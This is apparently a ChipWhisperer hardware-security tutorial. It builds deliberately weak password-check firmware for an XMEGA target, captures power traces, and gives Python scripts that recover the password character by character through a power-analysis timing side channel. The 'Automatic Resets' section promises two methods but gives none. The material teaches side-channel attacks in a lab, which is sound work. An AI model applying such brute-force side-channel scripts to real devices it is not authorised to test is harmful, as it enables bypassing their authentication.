Prerequisites

You should have already completed Tutorial B2 Viewing Instruction Power Differences to gain a better understanding of the ChipWhisperer interface.

Building the Target Firmware

The target firmware is located in the directory chipwhisperer\hardware\victims\firmware\basic-passwdcheck. Build the firmware using make, once again being careful to ensure you are using the correct PLATFORM= command. You should end up with something like this being printed:

Creating Symbol Table: basic-passwdcheck.sym
avr-nm -n basic-passwdcheck.elf > basic-passwdcheck.sym

Size after:
AVR Memory Usage
----------------
Device: atxmega128d3

Program:    5400 bytes (3.9% Full)
(.text + .data + .bootloader)

Data:        524 bytes (6.4% Full)
(.data + .bss + .noinit)


Built for platform CW-Lite XMEGA

-------- end --------

Manual Communications with the Target

At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.

1. Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).
2. Open the ChipWhisperer-Capture software.
3. From the Example Scripts, select one which most closely matches your hardware. For example here I'm using a ChipWhisperer-Lite with the XMEGA target, so will select the "ChipWhisperer-Lite: AES SimpleSerial on XMEGA" script. Note I'm NOT attacking AES, so will need to make some adjustments later. (The "Timing Attack on CW-Lite (XMEGA)" script already does most of this for us, so using it would defeat the purpose of this tutorial.)
4. The system should connect to your hardware. Remember you have not yet reprogrammed the target so won't be communicating with the target program.
5. Using the programming tool (such as XMEGA programming dialog), program the file basic-passwdcheck.hex into the target device. This file is located where you ran make previously.

6. Select Tools --> Terminal, and press Connect. You should see a window such as this:

   

7. At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the Check Signature or Read Signature button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:

   

   Note a few warnings about the terminal emulator:

   • The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!
   • You can uncheck the "Show non-ASCII as hex" to avoid having the 0a printed in red. The 0a is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.

8. We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is h0px3.

   tip

   In real systems, you may often know one of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to a password, and will use that knowledge to break the system in general.

9. Using the terminal emulator, write the correct password in, and press <enter>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:

   

10. The system enters an infinite loop for any password entry. Thus you must reset the system, use the Programmer Window to again perform a Check Signature or Read Signature operation.
11. Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.

Recording Power Traces

Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target.

1. We'll make some changes to the trigger setup of the ChipWhisperer (on the Scope Settings tab). In particular, ensure you set the following:

   • Offset = 0
   • Timeout set to 5 seconds or greater (to give yourself time when manually testing)

   

2. Change to the Target Settings tab, and delete the Command strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:

   

3. Still in the Target Settings tab, under Protocol Version, change Version from Auto to 1.0

4. Perform the following actions:

   1. Reset the target device (e.g. by performing the signature check).
   2. Enter the password h0px3 in the terminal window, but do not yet hit enter.
   3. Press the Capture 1 button, and immediately switch to the terminal emulator window and press <enter> to send the password.

   You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:

   

5. Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the Target Settings tab, write h0px3\n into the Go Command option:

   

   The Go Command is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.

6. Now perform the following actions:

   1. Reset the target device (e.g. by performing the signature check).
   2. Press the Capture 1 button.

   Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.

7. Play around with the password entered on the Go Command - try all of the following:

   • h0px3\n
   • h0px4\n
   • h0paa\n
   • haaaa\n
   • a\n

   You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of h0px4 (which has 4 correct characters) and h0paa (which has 3 correct characters):

   

Automatic Resets

The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.

Performing the Timing Attack

So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.

self.api.capture1()
data = self.api.getScope().channels[0].getTrace()
print data

trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'

for c in trylist:
    # Test this password and record a power trace
    self.api.setParameter(['Simple Serial', 'Go Command', c + '\n'])
    self.api.capture1()
    
    # Get the data and check data[153]
    data = self.api.getScope().channels[0].getTrace()
    if data[153] > -0.2:
        print "Success: " + c          

password = ''
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'
  
for i in range(5):
    for c in trylist:
        # Get a power trace using our next attempt
        nextPass = password + '{}'.format(c)
        self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)])
        self.api.capture1()
        
        # Grab the trace
        nextTrace = self.api.getScope().channels[0].getTrace()
        
        # Check location 153, 225, etc. If it's too low, we've failed
        if nextTrace[153 + 72*i] < -0.2:
            continue
            
        # If we got here, we've found the right letter
        password += c
        print '{} characters: {}'.format(i+1, password)
        break

Conclusion

This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.

Appendix: Completed Timing Attack Script

The run() function at the end of the tutorial might look something like the following:

    def run(self):
        # This is the function that gets called when our script starts
        
        # First: set up the basics and connect to the CW-Lite
        self.api.setParameter(['Generic Settings', 'Scope Module', 'ChipWhisperer/OpenADC'])
        self.api.setParameter(['Generic Settings', 'Target Module', 'Simple Serial'])
        self.api.setParameter(['Generic Settings', 'Trace Format', 'ChipWhisperer/Native'])
        self.api.setParameter(['Simple Serial', 'Connection', 'ChipWhisperer-Lite'])
        self.api.setParameter(['ChipWhisperer/OpenADC', 'Connection', 'ChipWhisperer-Lite'])
        self.api.connect()
        
        
        # Next: set up everything we need to connect to the target
        # Put all of our commands in a list and execute them at the end
        lstexample = [
                      # Gain
                      ['OpenADC', 'Gain Setting', 'Setting', 45],
                      # Trigger
                      ['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'],
                      ['OpenADC', 'Trigger Setup', 'Offset', 0],
                      ['OpenADC', 'Trigger Setup', 'Total Samples', 2000],
                      # Clock
                      ['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0],
                      ['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'],
                      ['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
                      # Pins
                      ['CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True],
                      ['CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'],
                      ['CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'],
                      ['CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'],
                      # Automatic commands
                      ['Simple Serial', 'Load Key Command', ''],
                      ['Simple Serial', 'Go Command', 'h0px3\n'],
                      ['Simple Serial', 'Output Format', ''],
                      # Auto-reset
                      ['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite'],
                      ['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay (Post-Arm)', 1200],
                      ]
        
        #Download all hardware setup parameters
        for cmd in lstexample: 
            self.api.setParameter(cmd)
                       
        # Get one capture for fun
        self.api.capture1()
        data = self.api.getScope().channels[0].getTrace()
        print data
        
        
        # Crack the first letter
        password = ''
        trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'
          
        for i in range(5):
            for c in trylist:
                # Get a power trace using our next attempt
                nextPass = password + '{}'.format(c)
                self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)])
                self.api.capture1()
                
                # Grab the trace
                nextTrace = self.api.getScope().channels[0].getTrace()
                
                # Check location 153, 225, etc. If it's too low, we've failed
                if nextTrace[153 + 72*i] < -0.2:
                    continue
                    
                # If we got here, we've found the right letter
                password += c
                print '{} characters: {}'.format(i+1, password)
                break